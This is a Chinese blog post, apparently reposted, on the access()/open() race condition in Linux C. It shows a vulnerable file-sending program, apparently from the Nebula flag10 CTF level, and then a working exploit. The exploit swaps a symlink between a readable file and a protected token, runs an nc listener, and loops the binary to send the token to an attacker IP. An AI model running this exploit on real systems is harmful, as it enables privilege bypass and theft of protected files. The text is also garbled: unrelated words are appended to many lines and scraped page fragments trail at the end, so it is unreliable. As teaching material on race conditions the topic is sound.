Linux C:access()時間條件競爭漏洞

access()函數用來檢查調用進程是否能夠對指定的文件執行某種操做。併發

================================================================================socket

來自:https://blog.csdn.net/tigerjibo/article/details/11712039函數

1.函數功能:測試

檢查調用進程是否能夠對指定的文件執行某種操做。ui

2.函數原型:spa

1)函數頭文件.net

#include <stdio.h>
#include <unistd.h>code

2)函數blog

int access(const char * pathname, int mode)token

3)形參

pathname:須要檢測的文件路勁名

mode:須要測試的操做模式。

4)函數返回值說明

成功執行時,返回0。失敗返回-1,errno被設爲如下的某個值 
EINVAL: 模式值無效 
EACCES: 文件或路徑名中包含的目錄不可訪問 
ELOOP : 解釋路徑名過程當中存在太多的符號鏈接 
ENAMETOOLONG:路徑名太長 
ENOENT:路徑名中的目錄不存在或是無效的符號鏈接 
ENOTDIR: 路徑名中看成目錄的組件並不是目錄 
EROFS: 文件系統只讀 
EFAULT: 路徑名指向可訪問的空間外 
EIO:輸入輸出錯誤 
ENOMEM: 不能獲取足夠的內核內存 
ETXTBSY:對程序寫入出錯

5)mode說明

R_OK 測試讀許可權
W_OK 測試寫許可權
X_OK 測試執行許可權
F_OK 測試文件是否存在

================================================================================

常見的用法是先用access()函數判斷文件是否能夠操做,而後再經過open()函數對文件進行相應操做。可是這二者以前存在一個時間差,從而造成了時間條件競爭漏洞,越權讀取文件。

參考下面的代碼:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

先經過access()判斷傳參文件是否可讀(注意:這裏access()函數檢查的是ruid,而不是euid),而後open()打開文件進行讀取併發送數據。access()與open()之間存在時間差,且因爲這裏access()判斷的是ruid,因此能夠經過頻繁改變目標文件,使得access()和open()判斷的不是同一個文件,便可越權打開文件

*****************************************************************************

*利用方法:

假設token文件爲當前用戶不可讀

一、編寫腳本,將有權限與沒有權限的文件循環指向同一個文件

while true;
do 
    ln -sf /home/flag10/token /tmp/ttt
    ln -sf /tmp/aaa /tmp/ttt
done

二、攻擊側監聽18211端口

while true;do nc -lvnp 18211;done

三、執行該程序,獲取文件

while true;
do
    /home/flag10/flag10 /tmp/ttt 10.211.55.2
done 
相關文章
相關標籤/搜索